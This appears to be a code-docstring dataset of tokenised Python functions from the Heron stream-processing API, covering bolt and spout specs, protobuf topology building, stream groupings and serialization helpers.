{"signature": "@classmethod<EOL><INDENT>def spec(cls, name=None, inputs=None, par=<NUM_LIT:1>, config=None, optional_outputs=None):<DEDENT>", "body": "python_class_path = \"<STR_LIT>\" % (cls.__module__, cls.__name__)<EOL>if hasattr(cls, '<STR_LIT>'):<EOL><INDENT>_outputs = copy.copy(cls.outputs)<EOL><DEDENT>else:<EOL><INDENT>_outputs = []<EOL><DEDENT>if optional_outputs is not None:<EOL><INDENT>assert isinstance(optional_outputs, (list, tuple))<EOL>for out in optional_outputs:<EOL><INDENT>assert isinstance(out, (str, Stream))<EOL>_outputs.append(out)<EOL><DEDENT><DEDENT>return HeronComponentSpec(name, python_class_path, is_spout=False, par=par,<EOL>inputs=inputs, outputs=_outputs, config=config)<EOL>", "docstring": "Register this bolt to the topology and create ``HeronComponentSpec``\n\n        This method takes an optional ``outputs`` argument for supporting dynamic output fields\n        declaration. However, it is recommended that ``outputs`` should be declared as\n        an attribute of your ``Bolt`` subclass. Also, some ways of declaring inputs is not supported\n        in this implementation; please read the documentation below.\n\n        :type name: str\n        :param name: Name of this bolt.\n        :type inputs: dict or list\n        :param inputs: Streams that feed into this Bolt.\n\n                       Two forms of this are acceptable:\n\n                       1. A `dict` mapping from ``HeronComponentSpec`` to ``Grouping``.\n                          In this case, default stream is used.\n                       2. A `dict` mapping from ``GlobalStreamId`` to ``Grouping``.\n                          This ``GlobalStreamId`` object itself is different from StreamParse, because\n                          Heron does not use thrift, although its constructor method is compatible.\n                       3. A `list` of ``HeronComponentSpec``. In this case, default stream with\n                          SHUFFLE grouping is used.\n                       4. A `list` of ``GlobalStreamId``. In this case, SHUFFLE grouping is used.\n        :type par: int\n        :param par: Parallelism hint for this spout.\n        :type config: dict\n        :param config: Component-specific config settings.\n        :type optional_outputs: list of (str or Stream) or tuple of (str or Stream)\n        :param optional_outputs: Additional output fields for this bolt. These fields are added to\n                                 existing ``outputs`` class attributes of your bolt. This is an optional\n                                 argument, and exists only for supporting dynamic output field\n                                 declaration.", "id": "f7232:c0:m0"}
{"signature": "def emit(self, tup, stream=Stream.DEFAULT_STREAM_ID,<EOL>anchors=None, direct_task=None, need_task_ids=False):", "body": "self.delegate.emit(tup, stream, anchors, direct_task, need_task_ids)<EOL>", "docstring": "Emits a new tuple from this Bolt\n\n        It is compatible with StreamParse API.\n\n        :type tup: list or tuple\n        :param tup: the new output Tuple to send from this bolt,\n                    which should contain only serializable data.\n        :type stream: str\n        :param stream: the ID of the stream to emit this Tuple to.\n                       Leave empty to emit to the default stream.\n        :type anchors: list\n        :param anchors: a list of HeronTuples to which the emitted Tuples should be anchored.\n        :type direct_task: int\n        :param direct_task: the task to send the Tuple to if performing a direct emit.\n        :type need_task_ids: bool\n        :param need_task_ids: indicate whether or not you would like the task IDs the Tuple was emitted.", "id": "f7232:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def is_tick(tup):<DEDENT>", "body": "return tup.stream == TupleHelper.TICK_TUPLE_ID<EOL>", "docstring": "Returns whether or not a given HeronTuple is a tick Tuple\n\n        It is compatible with StreamParse API.", "id": "f7232:c0:m2"}
{"signature": "def ack(self, tup):", "body": "self.delegate.ack(tup)<EOL>", "docstring": "Indicate that processing of a Tuple has succeeded\n\n        It is compatible with StreamParse API.", "id": "f7232:c0:m3"}
{"signature": "def fail(self, tup):", "body": "self.delegate.fail(tup)<EOL>", "docstring": "Indicate that processing of a Tuple has failed\n\n        It is compatible with StreamParse API.", "id": "f7232:c0:m4"}
{"signature": "def get_protobuf(self):", "body": "if self.is_spout:<EOL><INDENT>return self._get_spout()<EOL><DEDENT>else:<EOL><INDENT>return self._get_bolt()<EOL><DEDENT>", "docstring": "Returns protobuf message (Spout or Bolt) of this component", "id": "f7234:c0:m2"}
{"signature": "def _get_spout(self):", "body": "spout = topology_pb2.Spout()<EOL>spout.comp.CopyFrom(self._get_base_component())<EOL>self._add_out_streams(spout)<EOL>return spout<EOL>", "docstring": "Returns Spout protobuf message", "id": "f7234:c0:m3"}
{"signature": "def _get_bolt(self):", "body": "bolt = topology_pb2.Bolt()<EOL>bolt.comp.CopyFrom(self._get_base_component())<EOL>self._add_in_streams(bolt)<EOL>self._add_out_streams(bolt)<EOL>return bolt<EOL>", "docstring": "Returns Bolt protobuf message", "id": "f7234:c0:m4"}
{"signature": "def _get_base_component(self):", "body": "comp = topology_pb2.Component()<EOL>comp.name = self.name<EOL>comp.spec = topology_pb2.ComponentObjectSpec.Value(\"<STR_LIT>\")<EOL>comp.class_name = self.python_class_path<EOL>comp.config.CopyFrom(self._get_comp_config())<EOL>return comp<EOL>", "docstring": "Returns Component protobuf message", "id": "f7234:c0:m5"}
{"signature": "def _get_comp_config(self):", "body": "proto_config = topology_pb2.Config()<EOL>key = proto_config.kvs.add()<EOL>key.key = TOPOLOGY_COMPONENT_PARALLELISM<EOL>key.value = str(self.parallelism)<EOL>key.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL>if self.custom_config is not None:<EOL><INDENT>sanitized = self._sanitize_config(self.custom_config)<EOL>for key, value in sanitized.items():<EOL><INDENT>if isinstance(value, str):<EOL><INDENT>kvs = proto_config.kvs.add()<EOL>kvs.key = key<EOL>kvs.value = value<EOL>kvs.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>kvs = proto_config.kvs.add()<EOL>kvs.key = key<EOL>kvs.serialized_value = default_serializer.serialize(value)<EOL>kvs.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return proto_config<EOL>", "docstring": "Returns component-specific Config protobuf message\n\n        It first adds ``topology.component.parallelism``, and is overriden by\n        a user-defined component-specific configuration, specified by spec().", "id": "f7234:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _sanitize_config(custom_config):<DEDENT>", "body": "if not isinstance(custom_config, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(custom_config)))<EOL><DEDENT>sanitized = {}<EOL>for key, value in custom_config.items():<EOL><INDENT>if not isinstance(key, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% (str(type(key)), str(key)))<EOL><DEDENT>if isinstance(value, bool):<EOL><INDENT>sanitized[key] = \"<STR_LIT:true>\" if value else \"<STR_LIT:false>\"<EOL><DEDENT>elif isinstance(value, (str, int, float)):<EOL><INDENT>sanitized[key] = str(value)<EOL><DEDENT>else:<EOL><INDENT>sanitized[key] = value<EOL><DEDENT><DEDENT>return sanitized<EOL>", "docstring": "Checks whether ``custom_config`` is sane and returns a sanitized dict <str -> (str|object)>\n\n        It checks if keys are all strings and sanitizes values of a given dictionary as follows:\n\n        - If string, number or boolean is given as a value, it is converted to string.\n          For string and number (int, float), it is converted to string by a built-in ``str()`` method.\n          For a boolean value, ``True`` is converted to \"true\" instead of \"True\", and ``False`` is\n          converted to \"false\" instead of \"False\", in order to keep the consistency with\n          Java configuration.\n\n        - If neither of the above is given as a value, it is inserted into the sanitized dict as it is.\n          These values will need to be serialized before adding to a protobuf message.", "id": "f7234:c0:m7"}
{"signature": "def _add_in_streams(self, bolt):", "body": "if self.inputs is None:<EOL><INDENT>return<EOL><DEDENT>input_dict = self._sanitize_inputs()<EOL>for global_streamid, gtype in input_dict.items():<EOL><INDENT>in_stream = bolt.inputs.add()<EOL>in_stream.stream.CopyFrom(self._get_stream_id(global_streamid.component_id,<EOL>global_streamid.stream_id))<EOL>if isinstance(gtype, Grouping.FIELDS):<EOL><INDENT>in_stream.gtype = gtype.gtype<EOL>in_stream.grouping_fields.CopyFrom(self._get_stream_schema(gtype.fields))<EOL><DEDENT>elif isinstance(gtype, Grouping.CUSTOM):<EOL><INDENT>in_stream.gtype = gtype.gtype<EOL>in_stream.custom_grouping_object = gtype.python_serialized<EOL>in_stream.type = topology_pb2.CustomGroupingObjectType.Value(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>in_stream.gtype = gtype<EOL><DEDENT><DEDENT>", "docstring": "Adds inputs to a given protobuf Bolt message", "id": "f7234:c0:m8"}
{"signature": "def _sanitize_inputs(self):", "body": "ret = {}<EOL>if self.inputs is None:<EOL><INDENT>return<EOL><DEDENT>if isinstance(self.inputs, dict):<EOL><INDENT>for key, grouping in self.inputs.items():<EOL><INDENT>if not Grouping.is_grouping_sane(grouping):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if isinstance(key, HeronComponentSpec):<EOL><INDENT>if key.name is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>global_streamid = GlobalStreamId(key.name, Stream.DEFAULT_STREAM_ID)<EOL>ret[global_streamid] = grouping<EOL><DEDENT>elif isinstance(key, GlobalStreamId):<EOL><INDENT>ret[key] = grouping<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(key))<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(self.inputs, (list, tuple)):<EOL><INDENT>for input_obj in self.inputs:<EOL><INDENT>if isinstance(input_obj, HeronComponentSpec):<EOL><INDENT>if input_obj.name is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>global_streamid = GlobalStreamId(input_obj.name, Stream.DEFAULT_STREAM_ID)<EOL>ret[global_streamid] = Grouping.SHUFFLE<EOL><DEDENT>elif isinstance(input_obj, GlobalStreamId):<EOL><INDENT>ret[input_obj] = Grouping.SHUFFLE<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(input_obj))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(self.inputs))<EOL><DEDENT>return ret<EOL>", "docstring": "Sanitizes input fields and returns a map <GlobalStreamId -> Grouping>", "id": "f7234:c0:m9"}
{"signature": "def _add_out_streams(self, spbl):", "body": "if self.outputs is None:<EOL><INDENT>return<EOL><DEDENT>output_map = self._sanitize_outputs()<EOL>for stream_id, out_fields in output_map.items():<EOL><INDENT>out_stream = spbl.outputs.add()<EOL>out_stream.stream.CopyFrom(self._get_stream_id(self.name, stream_id))<EOL>out_stream.schema.CopyFrom(self._get_stream_schema(out_fields))<EOL><DEDENT>", "docstring": "Adds outputs to a given protobuf Bolt or Spout message", "id": "f7234:c0:m10"}
{"signature": "def _sanitize_outputs(self):", "body": "ret = {}<EOL>if self.outputs is None:<EOL><INDENT>return<EOL><DEDENT>if not isinstance(self.outputs, (list, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(self.outputs)))<EOL><DEDENT>for output in self.outputs:<EOL><INDENT>if not isinstance(output, (str, Stream)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(output))<EOL><DEDENT>if isinstance(output, str):<EOL><INDENT>if Stream.DEFAULT_STREAM_ID not in ret:<EOL><INDENT>ret[Stream.DEFAULT_STREAM_ID] = list()<EOL><DEDENT>ret[Stream.DEFAULT_STREAM_ID].append(output)<EOL><DEDENT>else:<EOL><INDENT>if output.stream_id == Stream.DEFAULT_STREAM_ID and Stream.DEFAULT_STREAM_ID in ret:<EOL><INDENT>ret[Stream.DEFAULT_STREAM_ID].extend(output.fields)<EOL><DEDENT>else:<EOL><INDENT>ret[output.stream_id] = output.fields<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Sanitizes output fields and returns a map <stream_id -> list of output fields>", "id": "f7234:c0:m11"}
{"signature": "def get_out_streamids(self):", "body": "if self.outputs is None:<EOL><INDENT>return set()<EOL><DEDENT>if not isinstance(self.outputs, (list, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(self.outputs)))<EOL><DEDENT>ret_lst = []<EOL>for output in self.outputs:<EOL><INDENT>if not isinstance(output, (str, Stream)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(output))<EOL><DEDENT>ret_lst.append(Stream.DEFAULT_STREAM_ID if isinstance(output, str) else output.stream_id)<EOL><DEDENT>return set(ret_lst)<EOL>", "docstring": "Returns a set of output stream ids registered for this component", "id": "f7234:c0:m12"}
{"signature": "def __getitem__(self, stream_id):", "body": "if stream_id not in self.get_out_streamids():<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % stream_id)<EOL><DEDENT>component_id = self.name or self<EOL>return GlobalStreamId(componentId=component_id, streamId=stream_id)<EOL>", "docstring": "Get GlobalStreamId for a given stream_id", "id": "f7234:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def _get_stream_id(comp_name, stream_id):<DEDENT>", "body": "proto_stream_id = topology_pb2.StreamId()<EOL>proto_stream_id.id = stream_id<EOL>proto_stream_id.component_name = comp_name<EOL>return proto_stream_id<EOL>", "docstring": "Returns a StreamId protobuf message", "id": "f7234:c0:m14"}
{"signature": "@staticmethod<EOL><INDENT>def _get_stream_schema(fields):<DEDENT>", "body": "stream_schema = topology_pb2.StreamSchema()<EOL>for field in fields:<EOL><INDENT>key = stream_schema.keys.add()<EOL>key.key = field<EOL>key.type = topology_pb2.Type.Value(\"<STR_LIT>\")<EOL><DEDENT>return stream_schema<EOL>", "docstring": "Returns a StreamSchema protobuf message", "id": "f7234:c0:m15"}
{"signature": "def __init__(self, componentId, streamId):", "body": "if not isinstance(componentId, (str, HeronComponentSpec)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not isinstance(streamId, str):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._component_id = componentId<EOL>self.stream_id = streamId<EOL>", "docstring": ":type componentId: str or HeronComponentSpec\n:param componentId: component id from which the tuple is emitted, or HeronComponentSpec object.\n:type streamId: str\n:param streamId: stream id through which the tuple is transmitted", "id": "f7234:c1:m0"}
{"signature": "@property<EOL><INDENT>def component_id(self):<DEDENT>", "body": "if isinstance(self._component_id, HeronComponentSpec):<EOL><INDENT>if self._component_id.name is None:<EOL><INDENT>return \"<STR_LIT>\" % self._component_id.uuid<EOL><DEDENT>return self._component_id.name<EOL><DEDENT>elif isinstance(self._component_id, str):<EOL><INDENT>return self._component_id<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>% (str(type(self._component_id)), str(self._component_id)))<EOL><DEDENT>", "docstring": "Returns component_id of this GlobalStreamId\n\n        Note that if HeronComponentSpec is specified as componentId and its name is not yet\n        available (i.e. when ``name`` argument was not given in ``spec()`` method in Bolt or Spout),\n        this property returns a message with uuid. However, this is provided only for safety\n        with __eq__(), __str__(), and __hash__() methods, and not meant to be called explicitly\n        before TopologyType class finally sets the name attribute of HeronComponentSpec.", "id": "f7234:c1:m1"}
{"signature": "def __init__(self, delegate):", "body": "self.delegate = delegate<EOL>self.logger = self.delegate.logger<EOL>", "docstring": "Initializes BaseComponent\n\n        :param delegate: SpoutInstance or BoltInstance", "id": "f7235:c0:m0"}
{"signature": "def log(self, message, level=None):", "body": "self.delegate.log(message, level)<EOL>", "docstring": "Log message, optionally providing a logging level\n\n        :type message: str\n        :param message: the log message to send\n        :type level: str\n        :param level: the logging level,\n                      one of: trace (=debug), debug, info, warn or error (default: info)", "id": "f7235:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def prepare(self, conf, context):<DEDENT>", "body": "pass<EOL>", "docstring": "Called after the spout/bolt's initialize() method is called\n\n        :param conf: component-specific configuration passed to the topology\n        :param context: topology context", "id": "f7237:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def clean_up(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called just before the spout/bolt's cleanup method is called", "id": "f7237:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def emit(self, emit_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called every time a tuple is emitted in spout/bolt\n\n        :param emit_info: EmitInfo object", "id": "f7237:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def spout_ack(self, spout_ack_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called in spout every time a tuple gets acked\n\n        :param spout_ack_info: SpoutAckInfo object", "id": "f7237:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def spout_fail(self, spout_fail_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called in spout every time a tuple gets failed\n\n        :param spout_fail_info: SpoutFailInfo object", "id": "f7237:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def bolt_execute(self, bolt_execute_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called in bolt every time a tuple gets executed\n\n        :param bolt_execute_info: BoltExecuteInfo object", "id": "f7237:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def bolt_ack(self, bolt_ack_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called in bolt every time a tuple gets acked\n\n        :param bolt_ack_info: BoltAckInfo object", "id": "f7237:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def bolt_fail(self, bolt_fail_info):<DEDENT>", "body": "pass<EOL>", "docstring": "Called in bolt every time a tuple gets failed\n\n        :param bolt_fail_info: BoltFailInfo object", "id": "f7237:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def spec(cls, name=None, par=<NUM_LIT:1>, config=None, optional_outputs=None):<DEDENT>", "body": "python_class_path = \"<STR_LIT>\" % (cls.__module__, cls.__name__)<EOL>if hasattr(cls, '<STR_LIT>'):<EOL><INDENT>_outputs = copy.copy(cls.outputs)<EOL><DEDENT>else:<EOL><INDENT>_outputs = []<EOL><DEDENT>if optional_outputs is not None:<EOL><INDENT>assert isinstance(optional_outputs, (list, tuple))<EOL>for out in optional_outputs:<EOL><INDENT>assert isinstance(out, (str, Stream))<EOL>_outputs.append(out)<EOL><DEDENT><DEDENT>return HeronComponentSpec(name, python_class_path, is_spout=True, par=par,<EOL>inputs=None, outputs=_outputs, config=config)<EOL>", "docstring": "Register this spout to the topology and create ``HeronComponentSpec``\n\n        The usage of this method is compatible with StreamParse API, although it does not create\n        ``ShellBoltSpec`` but instead directly registers to a ``Topology`` class.\n\n        This method takes an optional ``outputs`` argument for supporting dynamic output fields\n        declaration. However, it is recommended that ``outputs`` should be declared as\n        an attribute of your ``Spout`` subclass. Also, some ways of declaring inputs is not supported\n        in this implementation; please read the documentation below.\n\n        :type name: str\n        :param name: Name of this spout.\n        :type par: int\n        :param par: Parallelism hint for this spout.\n        :type config: dict\n        :param config: Component-specific config settings.\n        :type optional_outputs: list of (str or Stream) or tuple of (str or Stream)\n        :param optional_outputs: Additional output fields for this spout. These fields are added to\n                                 existing ``outputs`` class attributes of your spout.\n                                 This is an optional argument, and exists only for supporting dynamic\n                                 output field declaration.", "id": "f7239:c0:m0"}
{"signature": "def emit(self, tup, tup_id=None, stream=Stream.DEFAULT_STREAM_ID,<EOL>direct_task=None, need_task_ids=False):", "body": "return self.delegate.emit(tup, tup_id, stream, direct_task, need_task_ids)<EOL>", "docstring": "Emits a new tuple from this Spout\n\n        It is compatible with StreamParse API.\n\n        :type tup: list or tuple\n        :param tup: the new output Tuple to send from this spout,\n                    should contain only serializable data.\n        :type tup_id: str or object\n        :param tup_id: the ID for the Tuple. Leave this blank for an unreliable emit.\n                       (Same as messageId in Java)\n        :type stream: str\n        :param stream: the ID of the stream this Tuple should be emitted to.\n                       Leave empty to emit to the default stream.\n        :type direct_task: int\n        :param direct_task: the task to send the Tuple to if performing a direct emit.\n        :type need_task_ids: bool\n        :param need_task_ids: indicate whether or not you would like the task IDs the Tuple was emitted.", "id": "f7239:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def initialize(self, config, context):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a task for this component is initialized within a worker on the cluster\n\n        It provides the spout with the environment in which the spout executes. Note that\n        you should NOT override ``__init__()`` for initialization of your spout, as it is\n        used internally by Heron Instance; instead, you should use this method to initialize\n        any custom instance variables or connections to data sources.\n\n        *Should be implemented by a subclass.*\n\n        :type config: dict\n        :param config: The Heron configuration for this bolt. This is the configuration provided to\n                       the topology merged in with cluster configuration on this machine.\n                       Note that types of string values in the config have been automatically converted,\n                       meaning that number strings and boolean strings are converted to appropriate\n                       types.\n        :type context: :class:`TopologyContext`\n        :param context: This object can be used to get information about this task's place within the\n                        topology, including the task id and component id of this task, input and output\n                        information, etc.", "id": "f7240:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when this spout is going to be shutdown\n\n        There is no guarantee that close() will be called.", "id": "f7240:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def next_tuple(self):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "When this method is called, Heron is requesting that the Spout emit tuples\n\n        It is compatible with StreamParse API.\n\n        This method should be non-blocking, so if the Spout has no tuples to emit,\n        this method should return; next_tuple(), ack(), and fail() are all called in a tight\n        loop in a single thread in the spout task. WHen there are no tuples to emit, it is\n        courteous to have next_tuple sleep for a short amount of time (like a single millisecond)\n        so as not to waste too much CPU.\n\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**", "id": "f7240:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def ack(self, tup_id):<DEDENT>", "body": "pass<EOL>", "docstring": "Determine that the tuple emitted by this spout with the tup_id has been fully processed\n\n        It is compatible with StreamParse API.\n\n        Heron has determined that the tuple emitted by this spout with the tup_id identifier\n        has been fully processed. Typically, an implementation of this method will take that\n        message off the queue and prevent it from being replayed.\n\n        *Should be implemented by a subclass.*\n\n        :param tup_id: the ID of the HeronTuple that has been fully acknowledged.", "id": "f7240:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def fail(self, tup_id):<DEDENT>", "body": "pass<EOL>", "docstring": "Determine that the tuple emitted by this spout with the tup_id has failed to be processed\n\n        It is compatible with StreamParse API.\n\n        The tuple emitted by this spout with the tup_id identifier has failed to be\n        fully processed. Typically, an implementation of this method will put that\n        message back on the queue to be replayed at a later time.\n\n        *Should be implemented by a subclass.*\n\n        :param tup_id: the ID of the HeronTuple that has failed either due to a bolt calling ``fail()``\n                       or timeout", "id": "f7240:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def activate(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a spout has been activated out of a deactivated mode\n\n        next_tuple() will be called on this spout soon. A spout can become activated\n        after having been deactivated when the topology is manipulated using the\n        `heron` client.", "id": "f7240:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def deactivate(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a spout has been deactivated\n\n        next_tuple() will not be called while a spout is deactivated.\n        The spout may or may not be reactivated in the future.", "id": "f7240:c0:m6"}
{"signature": "def __init__(self, fields=None, name=DEFAULT_STREAM_ID, direct=False):", "body": "if fields is None:<EOL><INDENT>fields = []<EOL><DEDENT>elif isinstance(fields, (list, tuple)):<EOL><INDENT>fields = list(fields)<EOL>for field in fields:<EOL><INDENT>if not isinstance(field, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(field))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(fields))<EOL><DEDENT>self.fields = fields<EOL>if name is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif isinstance(name, str):<EOL><INDENT>self.stream_id = name<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(name))<EOL><DEDENT>if isinstance(direct, bool):<EOL><INDENT>self.direct = direct<EOL>if self.direct:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(direct))<EOL><DEDENT>", "docstring": ":type fields: `list` or `tuple` of `str`\n:param fields: field names for this stream\n:type name: str\n:param name: name of stream. Defaults to ``default``\n:type direct: bool\n:param direct: whether or not this stream is direct. Default is ``False``", "id": "f7242:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def is_grouping_sane(cls, gtype):<DEDENT>", "body": "if gtype == cls.SHUFFLE or gtype == cls.ALL or gtype == cls.LOWEST or gtype == cls.NONE:<EOL><INDENT>return True<EOL><DEDENT>elif isinstance(gtype, cls.FIELDS):<EOL><INDENT>return gtype.gtype == topology_pb2.Grouping.Value(\"<STR_LIT>\") andgtype.fields is not None<EOL><DEDENT>elif isinstance(gtype, cls.CUSTOM):<EOL><INDENT>return gtype.gtype == topology_pb2.Grouping.Value(\"<STR_LIT>\") andgtype.python_serialized is not None<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if a given gtype is sane", "id": "f7242:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def fields(cls, *fields):<DEDENT>", "body": "if len(fields) == <NUM_LIT:1> and isinstance(fields[<NUM_LIT:0>], list):<EOL><INDENT>fields = fields[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>fields = list(fields)<EOL><DEDENT>for i in fields:<EOL><INDENT>if not isinstance(i, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not fields:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return cls.FIELDS(gtype=topology_pb2.Grouping.Value(\"<STR_LIT>\"),<EOL>fields=fields)<EOL>", "docstring": "Field grouping", "id": "f7242:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def custom(cls, customgrouper):<DEDENT>", "body": "if customgrouper is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(customgrouper, ICustomGrouping) and not isinstance(customgrouper, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>serialized = default_serializer.serialize(customgrouper)<EOL>return cls.custom_serialized(serialized, is_java=False)<EOL>", "docstring": "Custom grouping from a given implementation of ICustomGrouping\n\n        :param customgrouper: The ICustomGrouping implemention to use", "id": "f7242:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def custom_serialized(cls, serialized, is_java=True):<DEDENT>", "body": "if not isinstance(serialized, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % str(serialized))<EOL><DEDENT>if not is_java:<EOL><INDENT>return cls.CUSTOM(gtype=topology_pb2.Grouping.Value(\"<STR_LIT>\"),<EOL>python_serialized=serialized)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Custom grouping from a given serialized string\n\n        This class is created for compatibility with ``custom_serialized(cls, java_serialized)`` method\n        of StreamParse API, although its functionality is not yet implemented (Java-serialized).\n        Currently only custom grouping implemented in Python is supported, and ``custom()`` method\n        should be used to indicate its classpath, rather than directly to use this method.\n\n        In the future, users can directly specify Java-serialized object with ``is_java=True`` in order\n        to use a custom grouping implemented in Java for python topology.\n\n        :param serialized: serialized classpath to custom grouping class to use (if python)\n        :param is_java: indicate whether this is Java serialized, or python serialized", "id": "f7242:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def custom_object(cls, java_class_name, arg_list):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Tuples will be assigned to tasks by the given Java class.", "id": "f7242:c1:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def initialize(self, config):<DEDENT>", "body": "pass<EOL>", "docstring": "Initializes the serializer", "id": "f7243:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def serialize(self, obj):<DEDENT>", "body": "pass<EOL>", "docstring": "Serialize an object\n\n        :param obj: The object to be serialized\n        :returns: Serialized object as byte string", "id": "f7243:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def deserialize(self, input_str):<DEDENT>", "body": "pass<EOL>", "docstring": "Deserialize an object\n\n        :param input_str: Serialized object as byte string\n        :returns: Deserialized object", "id": "f7243:c0:m2"}
{"signature": "def _modules_to_main(modList):", "body": "if not modList:<EOL><INDENT>return<EOL><DEDENT>main = sys.modules['<STR_LIT:__main__>']<EOL>for modname in modList:<EOL><INDENT>if isinstance(modname, str):<EOL><INDENT>try:<EOL><INDENT>mod = __import__(modname)<EOL><DEDENT>except Exception:<EOL><INDENT>sys.stderr.write(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % modname)<EOL>print_exec(sys.stderr)<EOL><DEDENT>else:<EOL><INDENT>setattr(main, mod.__name__, mod)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Force every module in modList to be placed into main", "id": "f7244:m8"}
{"signature": "def _fill_function(func, globalsn, defaults, dictn, module):", "body": "func.__globals__.update(globalsn)<EOL>func.__defaults__ = defaults<EOL>func.__dict__ = dictn<EOL>func.__module__ = module<EOL>return func<EOL>", "docstring": "Fills in the rest of function data into the skeleton function object\n      that were created via _make_skel_func().", "id": "f7244:m10"}
{"signature": "def _make_skel_func(code, closures, base_globals=None):", "body": "closure = _reconstruct_closure(closures) if closures else None<EOL>if base_globals is None:<EOL><INDENT>base_globals = {}<EOL><DEDENT>base_globals['<STR_LIT>'] = __builtins__<EOL>return types.FunctionType(code, base_globals, None, None, closure)<EOL>", "docstring": "Creates a skeleton function object that contains just the provided\n      code and the correct number of cells in func_closure.  All other\n      func attributes (e.g. func_globals) are empty.", "id": "f7244:m13"}
